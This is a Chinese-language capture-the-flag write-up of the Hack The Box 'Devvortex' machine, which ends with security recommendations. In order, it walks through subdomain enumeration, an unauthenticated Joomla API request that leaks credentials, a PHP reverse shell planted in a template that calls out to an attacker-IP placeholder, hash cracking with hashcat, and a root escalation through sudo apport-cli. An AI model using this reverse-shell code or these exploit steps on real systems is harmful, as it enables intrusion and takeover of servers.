HTB-Devvortex-WriteUp
字数 1167 2025-08-29 08:29:58

HTB Devvortex 靶机渗透测试详细教学文档

1. 初始信息收集

1.1 端口扫描

使用nmap进行初始扫描:

nmap -sV -sC -p- devvortex.htb

1.2 网站访问问题解决

发现直接访问网页出现"unknown host"错误,需要将域名添加到hosts文件:

echo "10.10.11.242 devvortex.htb" | sudo tee -a /etc/hosts

2. 网站枚举

2.1 目录爆破

使用gobuster进行目录枚举:

gobuster dir -u http://devvortex.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

2.2 子域名发现

由于网站使用nginx,可能存在虚拟主机配置,使用wfuzz进行子域名枚举:

wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" --hc 302

发现dev.devvortex.htb子域名,将其添加到hosts文件:

echo "10.10.11.242 dev.devvortex.htb" | sudo tee -a /etc/hosts

3. Joomla CMS利用

3.1 后台发现

访问http://dev.devvortex.htb/administrator发现Joomla后台登录页面。

3.2 未授权访问漏洞利用

利用Joomla未授权访问漏洞获取数据库凭据:

http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
http://dev.devvortex.htb/api/index.php/v1/users?public=true

从响应中获取关键信息:

  • 用户名: lewis
  • 密码: P4ntherg0t1n5r3c0n##
  • 数据库名: joomla
  • 数据库前缀: sd4fg_

3.3 后台登录

使用获取的凭据登录Joomla后台。

4. 获取Web Shell

4.1 通过模板注入PHP代码

  1. 在Joomla后台找到模板编辑功能
  2. 在模板文件中插入测试代码:
<?php phpinfo(); ?>

确认代码执行成功后,插入反弹shell代码:

<?php
$sock=fsockopen("攻击者IP",1234);
$proc=proc_open("/bin/sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

4.2 设置监听器

在攻击机器上设置监听:

nc -lvnp 1234

访问包含恶意代码的模板文件获取反向shell。

5. 权限提升

5.1 信息收集

/home/logan目录下发现results.txt文件,包含Joomla数据库配置信息。

5.2 MySQL数据库访问

使用获取的凭据登录MySQL:

mysql -u lewis -pP4ntherg0t1n5r3c0n## -D joomla

5.3 获取用户密码哈希

在数据库中查找用户密码哈希,发现logan用户的bcrypt哈希:

$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

5.4 密码破解

使用hashcat破解哈希:

hashcat -m 3200 hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

破解结果为:tequieromucho

5.5 SSH登录

使用破解的凭据SSH登录:

ssh logan@devvortex.htb

6. Root权限获取

6.1 检查sudo权限

sudo -l

发现可以以root权限运行apport-cli

6.2 生成崩溃报告

sleep 100 & killall -SIGSEGV sleep

这将在/var/crash/目录下生成崩溃报告文件。

6.3 利用apport-cli漏洞

使用已知的PoC利用apport-cli漏洞:

sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash

在apport-cli界面中按V查看报告,然后输入!/bin/bash获取root shell。

7. 总结

本靶机渗透测试的关键步骤:

  1. 通过子域名枚举发现开发子域名
  2. 利用Joomla未授权API漏洞获取数据库凭据
  3. 通过模板编辑获取Web Shell
  4. 通过数据库信息获取用户凭据
  5. 利用sudo权限漏洞实现权限提升

安全建议:

  • 限制API访问权限
  • 使用强密码并定期更换
  • 及时更新CMS和插件
  • 限制sudo权限
  • 监控系统日志和异常行为
HTB Devvortex 靶机渗透测试详细教学文档 1. 初始信息收集 1.1 端口扫描 使用nmap进行初始扫描: 1.2 网站访问问题解决 发现直接访问网页出现"unknown host"错误,需要将域名添加到hosts文件: 2. 网站枚举 2.1 目录爆破 使用gobuster进行目录枚举: 2.2 子域名发现 由于网站使用nginx,可能存在虚拟主机配置,使用wfuzz进行子域名枚举: 发现 dev.devvortex.htb 子域名,将其添加到hosts文件: 3. Joomla CMS利用 3.1 后台发现 访问 http://dev.devvortex.htb/administrator 发现Joomla后台登录页面。 3.2 未授权访问漏洞利用 利用Joomla未授权访问漏洞获取数据库凭据: 从响应中获取关键信息: 用户名: lewis 密码: P4ntherg0t1n5r3c0n## 数据库名: joomla 数据库前缀: sd4fg_ 3.3 后台登录 使用获取的凭据登录Joomla后台。 4. 获取Web Shell 4.1 通过模板注入PHP代码 在Joomla后台找到模板编辑功能 在模板文件中插入测试代码: 确认代码执行成功后,插入反弹shell代码: 4.2 设置监听器 在攻击机器上设置监听: 访问包含恶意代码的模板文件获取反向shell。 5. 权限提升 5.1 信息收集 在 /home/logan 目录下发现 results.txt 文件,包含Joomla数据库配置信息。 5.2 MySQL数据库访问 使用获取的凭据登录MySQL: 5.3 获取用户密码哈希 在数据库中查找用户密码哈希,发现logan用户的bcrypt哈希: 5.4 密码破解 使用hashcat破解哈希: 破解结果为: tequieromucho 5.5 SSH登录 使用破解的凭据SSH登录: 6. Root权限获取 6.1 检查sudo权限 发现可以以root权限运行 apport-cli 。 6.2 生成崩溃报告 这将在 /var/crash/ 目录下生成崩溃报告文件。 6.3 利用apport-cli漏洞 使用已知的PoC利用apport-cli漏洞: 在apport-cli界面中按 V 查看报告,然后输入 !/bin/bash 获取root shell。 7. 总结 本靶机渗透测试的关键步骤: 通过子域名枚举发现开发子域名 利用Joomla未授权API漏洞获取数据库凭据 通过模板编辑获取Web Shell 通过数据库信息获取用户凭据 利用sudo权限漏洞实现权限提升 安全建议: 限制API访问权限 使用强密码并定期更换 及时更新CMS和插件 限制sudo权限 监控系统日志和异常行为